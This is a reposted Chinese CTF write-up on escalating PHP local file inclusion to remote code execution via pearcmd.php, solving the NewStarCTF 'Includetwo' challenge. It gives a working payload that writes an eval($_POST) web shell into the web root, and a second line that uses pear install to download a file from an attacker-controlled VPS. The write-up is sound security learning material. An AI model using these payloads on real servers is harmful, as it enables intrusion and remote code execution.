LFI TO RCE之pearcmd.php的妙用
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
前言
提示:这里可以添加本文要记录的大概内容:
在玩Buu的NewStarCTF时,遇到了一道LFI to RCE的题,规定了php后缀,一点思路都没有,赛后看了WP,总结一下。
提示:以下是本篇文章正文内容,下面案例可供参考
一、pear是什么
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。
不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php
并且php.ini当中 register_argc_argv=On需要开启,假如环境中没有php.ini,则默认register_argc_argv=On。
register_argc_argv=On其实对应了$_SERVER[‘argv’],即获取参数。
如:
+为分隔符
二、pear的妙用
#!/bin/sh# first find which PHP binary to useif test "x$PHP_PEAR_PHP_BIN" != "x"; then PHP="$PHP_PEAR_PHP_BIN"else if test "/usr/bin/php" = '@'php_bin'@'; then PHP=php else PHP="/usr/bin/php" fifi# then look for the right pear include dirif test "x$PHP_PEAR_INSTALL_DIR" != "x"; then INCDIR=$PHP_PEAR_INSTALL_DIR INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"else if test "/usr/share/php" = '@'php_dir'@'; then INCDIR=`dirname $0` INCARG="" else INCDIR="/usr/share/php" INCARG="-d include_path=/usr/share/php" fifiexec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"
PEAR_Command::setFrontendType('CLI');$all_commands = PEAR_Command::getCommands();$argv = Console_Getopt::readPHPArgv();// fix CGI sapi oddity - the -- in pear.bat/pear is not removedif (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') { unset($argv[1]); $argv = array_values($argv);}public static function readPHPArgv() { global $argv; if (!is_array($argv)) { if (!@is_array($_SERVER['argv'])) { if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) { $msg = "Could not read cmd args (register_argc_argv=Off?)"; return PEAR::raiseError("Console_Getopt: " . $msg); } return $GLOBALS['HTTP_SERVER_VARS']['argv']; } return $_SERVER['argv']; } return $argv; }
代码不是很理解,就是当执行了pearcmd.cmd,会将$_SERVER[‘argv’]当作参数执行 。
三、例题:NewStarCTF(Includetwo)
题目如下:
payload:+config-create+/&file=/usr/local/lib/php/pearcmd&/=eval($_POST[1])?>+/var/www/html/a.php
不同的系统pearcmd存放的位置好像不一定, 有的在/usr/share/php/pearcmd.php。
关于payload的解释: config-create是pearcmd.php的参数,用于创建默认配置文件。
这个命令需要两个参数,根路径和文件名。所以payload是利用该参数将写入到/var/www/html/a.php文件中。
四、本地测试
注意的点:
1、开启了register_argc_argv选项
pearcmd.php文件的路径
能够进行文件包含,allow_url_include开启
open_basedir不存在限制
还可以使用install或download参数进行远程下载进行RCE:
file=/usr/share/php/pearcmd.php&+install+-R+/tmp+http://[vps:ip]/test/peartest.php
总结
文件包含到RCE,目前知道的有session包含的条件竞争,日志包含,pearcmd的利用。
来源地址:https://blog.csdn.net/weixin_53090346/article/details/127241278
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341